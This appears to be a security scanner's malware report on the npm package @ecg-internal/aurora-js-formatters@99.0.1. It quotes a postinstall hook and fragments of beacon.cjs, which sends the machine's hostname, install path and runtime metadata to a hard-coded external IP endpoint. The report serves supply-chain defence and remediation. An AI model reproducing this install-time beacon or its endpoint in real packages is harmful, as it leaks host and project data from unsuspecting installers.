@ecg-internal/aurora-js-formatters@99.0.1
Compatibility shim.
AI Security Review
scanned 5h ago · by lpm-firewall-aiThe automatic postinstall disclosure of host and project identifiers to an unrelated hard-coded endpoint is a concrete installation-time data exfiltration behavior. This supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Installing the package runs its postinstall script.
Impact
The recipient receives the machine hostname, package install path, working directory, and runtime metadata.
Mechanism
beacon.cjs builds a metadata payload and sends it in an HTTP POST to the configured IP address.
Attack narrative
During package installation, the postinstall hook runs beacon.cjs, which sends the machine hostname, install path, working directory, package name, and runtime metadata to a hard-coded external IP. The source shows no affirmative consent gate for this transfer.
AI rationale
The automatic postinstall disclosure of host and project identifiers to an unrelated hard-coded endpoint is a concrete installation-time data exfiltration behavior. This supports blocking publication.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a hard-coded external IP address.
- The request serializes host, install path, working directory, package, and runtime metadata.
- The beacon’s payload is sent without an affirmative consent check.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
High
Suspicious Lifecycle Evidence
The package runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L6beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@ecg-internal/aurora-js-formatters";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @ecg-internal/aurora-js-formatters@99.0.1.
See all versions of @ecg-internal/aurora-js-formatters for other recorded verdicts.
- Avoid installing @ecg-internal/aurora-js-formatters@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.